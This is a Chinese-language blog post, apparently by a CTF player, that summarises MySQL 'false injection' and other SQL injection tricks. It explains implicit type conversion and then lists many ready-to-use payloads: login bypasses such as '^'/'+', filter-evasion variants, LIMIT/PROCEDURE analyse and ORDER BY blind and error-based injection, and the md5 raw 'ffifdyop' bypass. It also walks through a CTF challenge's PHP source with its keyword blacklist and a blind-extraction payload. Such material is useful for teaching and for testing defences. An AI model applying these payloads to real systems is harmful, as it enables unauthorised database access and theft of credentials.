MySQL False注入及技巧總結(jié)
一、False Injection
1. 引子
首先我們常見的注入
- 11=1
- 0<1
- ''=''
這些都是基于1=1這樣的值得比較的普通注入,下面來說說關(guān)于False注入,利用False我們可以繞過一些特定的WAF以及一些未來不確定的因素,其中有些姿勢之前了解但是沒有去深入,這次做一個歸納總結(jié)。
首先拋出這么一個問題
為什么username=0會導(dǎo)致返回數(shù)據(jù)呢?
這就是一個基于false注入的例子,下面在舉一個例子
和上面是同一個表,但是為什么這里只返回了兩組數(shù)據(jù)呢?說到這里不得不說一說有關(guān)于MYSQL的隱式類型轉(zhuǎn)換。
2. MYSQL隱式類型轉(zhuǎn)換
關(guān)于官方文檔中的理解大致是:
如果兩個參數(shù)比較,有至少一個NULL,結(jié)果就是NULL,除了是用NULL<=>NULL 會返回1。不做類型轉(zhuǎn)換
兩個參數(shù)都是字符串,按照字符串比較。不做類型轉(zhuǎn)換
兩個參數(shù)都是整數(shù),按照整數(shù)比較。不做類型轉(zhuǎn)換
如果不與數(shù)字進(jìn)行比較,則將十六進(jìn)制值視為二進(jìn)制字符串。
有一個參數(shù)是 TIMESTAMP 或 DATETIME,并且另外一個參數(shù)是常量,常量會被轉(zhuǎn)換為時間戳
有一個參數(shù)是 decimal 類型,如果另外一個參數(shù)是 decimal 或者整數(shù),會將整數(shù)轉(zhuǎn)換為 decimal 后進(jìn)行比較,如果另外一個參數(shù)是浮點數(shù),則會把 decimal 轉(zhuǎn)換為浮點數(shù)進(jìn)行比較
所有其他情況下,兩個參數(shù)都會被轉(zhuǎn)換為浮點數(shù)再進(jìn)行比較
最后那一句話很重要,說明如果我是字符串和數(shù)字比較,需要將字符串轉(zhuǎn)為浮點數(shù),這很明顯會轉(zhuǎn)換失敗
在這里我試了試如果是字符串和數(shù)字比較:
可以看到在進(jìn)行類型轉(zhuǎn)換的時候,將字符串轉(zhuǎn)換的時候會產(chǎn)生一個warning,轉(zhuǎn)換的結(jié)果為0,但是如果字符串開頭是數(shù)字的時候還是會從數(shù)字部分截斷,轉(zhuǎn)換為數(shù)字。
現(xiàn)在可以很好理解開頭說的為什么username=0會導(dǎo)致返回數(shù)據(jù)了,就是因為這里會將數(shù)據(jù)轉(zhuǎn)換為浮點數(shù)比較,但是字符串轉(zhuǎn)換會出問題,從而返回0使得0=0從而為true得到結(jié)果,而后面passwd查詢少一組數(shù)據(jù)的原因就是admin的passwd字段第一個字符是2 從而返回2 并非為0。
2. 利用
實際中我們接觸到的語句都是帶有引號的,類似于where username='+input+' 這樣的,這時候我們就需要做一些處理來構(gòu)造false注入的利用點。
2.1. 算術(shù)運算
加:+
- '+', 拼接的語句:where username=''+''
減:-
- '-' 拼接的語句:where username=''-''
乘:*
- '*' 拼接的語句:where username=''*''
除:/
- '/6# 拼接的語句:where username=''/6#
取余:%
- '%1# 拼接的語句:where username=''%1#
2.2. 位操作運算
我們可以使用當(dāng)字符串和數(shù)字運算的時候類型轉(zhuǎn)換的問題進(jìn)行利用
我們可以用的位運算符有:
和運算:&
- '&0# 拼接的語句:where username=''&0#'
或運算:|
- '|0# 拼接的語句:where username=''|0#'
異或運算:^
- '^0# 拼接的語句:where username=''^0#'
移位操作:
- '<<0# '>>0#
位非(~):這里位非運算符由于是在表達(dá)式之前的
2.3. 比較運算符
安全等于:<=>
- '=0<=>1# 拼接的語句:where username=''=0<=>1#'
不等于<>(!=)
- '=0<>0# 拼接的語句:where username=''=0<>0#'
大小于>或<
- '>-1# 拼接的語句:where username=''>-1#
2.4. 其他
1'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1
3. 綜合利用
false注入這種注入方式有的優(yōu)勢就是,在某些特定時候可以繞過WAF或者是一些其他的繞過。
這里舉例一道題
- <?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from `user` where username ='".$username."'"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()['role']; }else{ die("Don't have this user!"); } } function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == 'admin'){ die("you can't login this as admin!"); } $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):""; $action = isset($_GET['action'])?filter($_GET['action']):"source"; switch($action){ case "source": source(); break ; case "login" : login($username,$passwd);break; case "show" : show($username);break; }
我們注意到filter()函數(shù)
- $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
這里看起來過濾的比較多,其中and,or還有\(zhòng)&,|都被過濾了,這個時候就可以利用false進(jìn)行盲注。
可以在show函數(shù)利用查詢的時候注入,
- username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"
這里官方給出的就是利用異或,其實這里并不需要’admin‘只要是一串字符串就可以
異或會使字符串都轉(zhuǎn)為浮點型,都變?yōu)榱?,由于0=0^0 -> 1^0 -> 1當(dāng)然對于這個題并不一定利用這個,直接截取字符串作比較就可以,但是這里只是提供一種姿勢,由于mysql的靈活,其花樣也比較多還有就是構(gòu)造的payload比較簡短,例如'+'、'^'、'/4#這樣只有三個字符便可以繞過登錄,簡單粗暴,還有就是類似的文章不多,許多開發(fā)人員容易忽視這些細(xì)節(jié)。
3.1. 結(jié)合盲注
上面的例子payload就是利用字符串類型轉(zhuǎn)換導(dǎo)致false注入結(jié)合盲注的一個過程
二、一些注入的技巧
mysql中,我們用得到的:
- 常量:true, false, null, \N, current_timestamp變量:@myvar:=1
- 系統(tǒng)變量:@@version, @@datadir....
- 常用函數(shù):version(), pi(), pow(), char(), substring()
- 字符串生成:hex(), conv()
- 有關(guān)于字符串生成的一些基礎(chǔ)字符:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6
1. 過濾的繞過:
- 空格:%20, %09, %0a, %0b, %0c, %0d, %a0,還有一些可以利用括號或者注釋 and,or:||,&& union select: 利用括號,'and(true)like(false)union(select(pass)from(users)), 方括號union [all|distinct] select pass from users#, union%a0select pass from users, 或者內(nèi)聯(lián)注釋union/*&sort=*/select pass from users# union:子查詢進(jìn)行盲注and length((select pass from users having substr(pass,1,1)='a')) having:and(select substr(group_concat(pass),1,1)from users)='a select ... from(過濾代碼如/SELECT\s+[A-Za-z.]+\s+FROM/i/i): select [all|distinct] pass from users select`table_name`from`information_schema` . `tables` select pass as alias from users select pass aliasalias from users select pass`alias alias`from users select+pass%a0from(users) select,and,&: 這里就是可以利用上文中提到的false注入的方式進(jìn)行繞過,具體見上文
不使用逗號:' and substr(data from 1 for 1) = 'a'#
2. 技巧
下面說幾種不同情境的注入技巧
2.1. like
有時候我們可以利用一些邏輯語句進(jìn)行注入例如在最近的0ctf上的Temmo’s Tiny Shop這個題中,我們在搜索的時候推測出語句是在like后的,就可以通過left來進(jìn)行l(wèi)ike盲注
- if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)
2.2. Limt
在LIMIT后面可以跟兩個函數(shù),PROCEDURE 和 INTO,INTO是需要寫的權(quán)限。
利用PROCEDURE 有兩種方式,基于報錯和時間的
基于報錯:
- mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
基于時間:
- SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
2.3. order by
order by 后的數(shù)字可以作為一個注入點。具體可以看這個文章MySQL Order By 注入總結(jié)
這里可以用一些判斷和返回值進(jìn)行利用,
- /?order=IF(11=1,name,price) 通過name字段排序 /?order=IF(1=2,name,price) 通過price字段排序
- /?order=(CASE+WHEN+(11=1)+THEN+name+ELSE+price+END) 通過name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通過price字段排序
- /?order=IFNULL(NULL,price) 通過price字段排序 /?order=IFNULL(NULL,name) 通過name字段排序
還可以用rand函數(shù)
- /?order=rand(11=1) /?order=rand(1=2)
通常這里我們是不知道列名的,那可以通過報錯進(jìn)行利用
- /?order=IF(11=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 錯誤 利用regexp /?order=(select+1+regexp+if(11=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 錯誤 利用updatexml /?order=updatexml(1,if(11=1,1,user()),1) 正確 /?order=updatexml(1,if(1=2,1,user()),1) 錯誤 利用extractvalue /?order=extractvalue(1,if(11=1,1,user())) 正確 /?order=extractvalue(1,if(1=2,1,user())) 錯誤 利用sleep()也可以.... 方法比較靈活
3. 有關(guān)函數(shù)
3.1. 不常用函數(shù)繞過濾
- lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi' rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??' left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0))
3.2. 搜索匹配類的函數(shù)
- '-if(locate('f',data),1,0)# '-if(locate('fo',data),1,0)# '-if(locate('foo',data),1,0)# instr(), position()
3.3. 使用函數(shù)進(jìn)行字符串的切割
- length(trim(leading 'a' FROM data)) # length will be shorter length(replace(data, 'a', '')) # length will be shorter
4. 關(guān)于php中md5的一個小技巧
PHP中這么一段sql語句
- $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
這里是可以注入繞過的,在php關(guān)于MD5函數(shù)的介紹說:
如果可選的 raw_output 被設(shè)置為 TRUE,那么 MD5 報文摘要將以16字節(jié)長度的原始二進(jìn)制格式返回。
也就是找到一個字符串MD5的二進(jìn)制恰好和字符編碼中的某些編碼對上了,就可以產(chǎn)生注入,原文作者找到這么一串字符串ffifdyop,md5加密后對應(yīng)字符編碼剛好是'or'
這里的原文在這
三、END
false注入也許在某些時候會利用,但是對其中并不是很了解,所以在這里進(jìn)行了一下系統(tǒng)地總結(jié)。
同時往往在利用的時候往往不只是一個點,要結(jié)合許多姿勢。文章后半部分就是總結(jié)了一些注入小姿勢,并不是很系統(tǒng)有些散,如果有錯誤歡迎大佬指出。